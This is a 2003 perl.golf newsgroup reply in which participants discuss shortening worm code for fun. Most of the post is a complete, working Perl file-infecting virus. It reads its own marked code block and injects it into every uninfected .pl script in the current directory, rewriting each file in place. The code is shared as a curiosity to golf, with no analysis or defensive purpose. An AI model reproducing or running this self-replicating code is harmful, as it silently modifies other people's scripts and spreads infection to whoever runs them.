Re: Golfing Internet worms
[email protected] (Mike Erickson)
| Newsgroups | perl.golf |
|---|---|
| Message-ID | <[email protected]> |
* Yanick ([email protected]) wrote: > On Sun, Jan 26, 2003 at 02:34:57PM +0100, Philippe 'BooK' Bruhat wrote: > > Golf is not practised only in Perl circles. It has become the pastime > > of virus and worm writers, too: > > I remember that some time ago (3 years?), Abigail posted a Perl > worm to clpm. Anyone has a copy of that thing? It would be amusing > to try to golf /that/ one. Perhaps you meant this? http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&oe=UTF-8&threadm=slrn82jqj5.lmh.abigail%40alexandra.delanet.com&rnum=5&prev=/groups%3Fas_oq%3Dabigail%2520worm%2520virus%26safe%3Dimages%26ie%3DUTF-8%26oe%3DUTF-8%26as_ugroup%3Dcomp.lang.perl.misc%26lr%3D%26num%3D50%26hl%3Den (google++, yet again) #!/opt/perl/bin/perl -w use strict; # HACKED BEGIN { local *ME; if (open ME, $0) { undef $/; my $me = <ME>; my ($text) = $me =~ /(# HACKED\n.*?# HACKED\n)/s; if (opendir DIR, ".") { foreach my $file (readdir DIR) { next unless $file =~ /.pl$/; local *FILE; if (open FILE, "+< ./$file") { my $program = <FILE>; unless ($program =~ /# HACKED/) { $program =~ s/\n/\n$text/; } seek FILE, 0, 0; print FILE $program; } close FILE; } } closedir DIR; } close ME; } # HACKED __END__ mike